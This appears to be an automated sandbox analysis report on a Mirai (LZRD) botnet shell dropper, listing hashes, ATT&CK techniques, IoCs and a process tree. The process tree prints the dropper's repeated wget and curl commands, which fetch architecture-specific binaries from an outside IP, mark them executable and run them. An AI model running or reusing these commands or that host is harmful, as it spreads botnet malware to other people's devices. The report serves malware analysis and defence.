mirai | 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091

Analysis

max time kernel
148s
max time network
150s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03-01-2025 03:38

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General

Target

74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh
Size

2KB
MD5

ed9afc8adb1a34f93090873f6b76ec07
SHA1

13b5f418f63a32c61e493995e10e3baa0b02caab
SHA256

74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091
SHA512

3ef263bf7ef4cadcc3587d3ef891289cb051087c9d125a74fc8f34f16cda89ca79c2a5ae6f2d0edee3f87855de37af4a594779d6d0d332beade0654e102bd049

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1635	chmod
1531	chmod
1587	chmod
1539	chmod
1647	chmod
1579	chmod
1619	chmod
1555	chmod
1571	chmod
1563	chmod
1595	chmod
1603	chmod
1611	chmod
1523	chmod
1547	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1524	WTF
/tmp/WTF	1532	WTF
/tmp/WTF	1540	WTF
/tmp/WTF	1548	WTF
/tmp/WTF	1556	WTF
/tmp/WTF	1564	WTF
/tmp/WTF	1572	WTF
/tmp/WTF	1580	WTF
/tmp/WTF	1588	WTF
/tmp/WTF	1596	WTF
/tmp/WTF	1604	WTF
/tmp/WTF	1612	WTF
/tmp/WTF	1620	WTF
/tmp/WTF	1636	WTF
/tmp/WTF	1648	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1020/cmdline	WTF
File opened for reading	/proc/1557/cmdline	WTF
File opened for reading	/proc/1514/cmdline	WTF
File opened for reading	/proc/1034/cmdline	WTF
File opened for reading	/proc/477/cmdline	WTF
File opened for reading	/proc/445/cmdline	WTF
File opened for reading	/proc/1091/cmdline	WTF
File opened for reading	/proc/1054/cmdline	WTF
File opened for reading	/proc/610/cmdline	WTF
File opened for reading	/proc/1278/cmdline	WTF
File opened for reading	/proc/417/cmdline	WTF
File opened for reading	/proc/1510/cmdline	WTF
File opened for reading	/proc/1040/cmdline	WTF
File opened for reading	/proc/1187/cmdline	WTF
File opened for reading	/proc/1161/cmdline	WTF
File opened for reading	/proc/1567/cmdline	WTF
File opened for reading	/proc/1141/cmdline	WTF
File opened for reading	/proc/696/cmdline	WTF
File opened for reading	/proc/610/cmdline	WTF
File opened for reading	/proc/1514/cmdline	WTF
File opened for reading	/proc/1525/cmdline	WTF
File opened for reading	/proc/679/cmdline	WTF
File opened for reading	/proc/487/cmdline	WTF
File opened for reading	/proc/522/cmdline	WTF
File opened for reading	/proc/476/cmdline	WTF
File opened for reading	/proc/477/cmdline	WTF
File opened for reading	/proc/1514/cmdline	WTF
File opened for reading	/proc/1525/cmdline	WTF
File opened for reading	/proc/1183/cmdline	WTF
File opened for reading	/proc/1183/cmdline	WTF
File opened for reading	/proc/1549/cmdline	WTF
File opened for reading	/proc/417/cmdline	WTF
File opened for reading	/proc/460/cmdline	WTF
File opened for reading	/proc/1119/cmdline	WTF
File opened for reading	/proc/1533/cmdline	WTF
File opened for reading	/proc/672/cmdline	WTF
File opened for reading	/proc/414/cmdline	WTF
File opened for reading	/proc/1182/cmdline	WTF
File opened for reading	/proc/1514/cmdline	WTF
File opened for reading	/proc/1599/cmdline	WTF
File opened for reading	/proc/1119/cmdline	WTF
File opened for reading	/proc/717/cmdline	WTF
File opened for reading	/proc/1336/cmdline	WTF
File opened for reading	/proc/1183/cmdline	WTF
File opened for reading	/proc/1191/cmdline	WTF
File opened for reading	/proc/1549/cmdline	WTF
File opened for reading	/proc/417/cmdline	WTF
File opened for reading	/proc/1575/cmdline	WTF
File opened for reading	/proc/533/cmdline	WTF
File opened for reading	/proc/1557/cmdline	WTF
File opened for reading	/proc/455/cmdline	WTF
File opened for reading	/proc/1278/cmdline	WTF
File opened for reading	/proc/947/cmdline	WTF
File opened for reading	/proc/1551/cmdline	WTF
File opened for reading	/proc/496/cmdline	WTF
File opened for reading	/proc/1131/cmdline	WTF
File opened for reading	/proc/1549/cmdline	WTF
File opened for reading	/proc/1336/cmdline	WTF
File opened for reading	/proc/1253/cmdline	WTF
File opened for reading	/proc/1161/cmdline	WTF
File opened for reading	/proc/696/cmdline	WTF
File opened for reading	/proc/1573/cmdline	WTF
File opened for reading	/proc/968/cmdline	WTF
File opened for reading	/proc/1599/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1528	wget
1529	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wind.mips	wget
File opened for modification	/tmp/wind.mpsl	curl
File opened for modification	/tmp/wind.arm7	wget
File opened for modification	/tmp/wind.spc	curl
File opened for modification	/tmp/wind.m68k	wget
File opened for modification	/tmp/wind.spc	wget
File opened for modification	/tmp/wind.m68k	curl
File opened for modification	/tmp/WTF	74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh
File opened for modification	/tmp/wind.mpsl	wget
File opened for modification	/tmp/wind.arm7	curl
File opened for modification	/tmp/wind.arm5	curl
File opened for modification	/tmp/wind.arm6	curl
File opened for modification	/tmp/wind.ppc	curl
File opened for modification	/tmp/wind.sh4	curl
File opened for modification	/tmp/wind.i686	curl
File opened for modification	/tmp/wind.x86_64	curl
File opened for modification	/tmp/wind.arm5	wget
File opened for modification	/tmp/wind.i468	curl
File opened for modification	/tmp/wind.ppc	wget
File opened for modification	/tmp/wind.arm	wget
File opened for modification	/tmp/wind.arm	curl
File opened for modification	/tmp/wind.sh4	wget
File opened for modification	/tmp/wind.x86	curl
File opened for modification	/tmp/wind.arm6	wget
File opened for modification	/tmp/wind.arc	curl
File opened for modification	/tmp/wind.x86	wget
File opened for modification	/tmp/wind.mips	curl
File opened for modification	/tmp/wind.arc	wget

/tmp/74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh
/tmp/74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh
1⤵
- Writes file to tmp directory
PID:1516
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.x86
  2⤵
  - Writes file to tmp directory
  PID:1517
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.x86
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/cat
  cat wind.x86
  2⤵
  PID:1522
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1524
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1528
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1532
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arc
  2⤵
  - Writes file to tmp directory
  PID:1536
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arc
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.arc wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1540
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.i468
  2⤵
  PID:1544
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.i468
  2⤵
  - Writes file to tmp directory
  PID:1545
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.arc wind.i468 wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1547
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1548
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.i686
  2⤵
  PID:1552
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.i686
  2⤵
  - Writes file to tmp directory
  PID:1553
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.arc wind.i468 wind.i686 wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1555
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1556
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.x86_64
  2⤵
  PID:1560
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1561
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.arc wind.i468 wind.i686 wind.mips wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1563
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1564
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1568
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1569
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.arc wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1571
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1572
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm
  2⤵
  - Writes file to tmp directory
  PID:1576
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm
  2⤵
  - Writes file to tmp directory
  PID:1577
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.arc wind.arm wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1579
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1580
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm5
  2⤵
  - Writes file to tmp directory
  PID:1584
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm5
  2⤵
  - Writes file to tmp directory
  PID:1585
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.arc wind.arm wind.arm5 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1587
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1588
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm6
  2⤵
  - Writes file to tmp directory
  PID:1592
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm6
  2⤵
  - Writes file to tmp directory
  PID:1593
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.arc wind.arm wind.arm5 wind.arm6 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1595
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1596
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm7
  2⤵
  - Writes file to tmp directory
  PID:1600
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm7
  2⤵
  - Writes file to tmp directory
  PID:1601
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1603
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1604
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.ppc
  2⤵
  - Writes file to tmp directory
  PID:1608
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.ppc
  2⤵
  - Writes file to tmp directory
  PID:1609
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.ppc wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1611
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1612
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.spc
  2⤵
  - Writes file to tmp directory
  PID:1616
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.spc
  2⤵
  - Writes file to tmp directory
  PID:1617
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-6463wE systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.ppc wind.spc wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1619
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1620
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.m68k
  2⤵
  - Writes file to tmp directory
  PID:1624
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.m68k
  2⤵
  - Writes file to tmp directory
  PID:1627
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.m68k wind.mips wind.mpsl wind.ppc wind.spc wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1635
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1636
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.sh4
  2⤵
  - Writes file to tmp directory
  PID:1640
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.sh4
  2⤵
  - Writes file to tmp directory
  PID:1645
- /bin/chmod
  chmod +x 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091.sh config-err-a0dqHs netplan_pdekdi3v snap-private-tmp ssh-6h8c9kOMFojk systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-bolt.service-wZEZsQ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-colord.service-OgbQvL systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-ModemManager.service-CjRNRZ systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-resolved.service-A5touc systemd-private-1bf6bfd3437948f4964c46cc551cdf0f-systemd-timedated.service-2MrKnh wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.m68k wind.mips wind.mpsl wind.ppc wind.sh4 wind.spc wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1647
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/wind.x86

Filesize
25KB

MD5
819856ae59567a9a45f09a578a8701d6

SHA1
f10479dba7d8ce69c749bd30461ba4a1e0a75833

SHA256
f1eb1a307496e1f0468c7a40e8b64d35e0052d9d1654d4a06b444c8218f9be38

SHA512
10223b4bb6d324eeb9d3d0313e4d16b31dbd4111fb0f9c5b5319e539277c0d05dcf67ac802b9c45fbb7248884370cc0ff0855547e5e39b8930aab2e8105090cb

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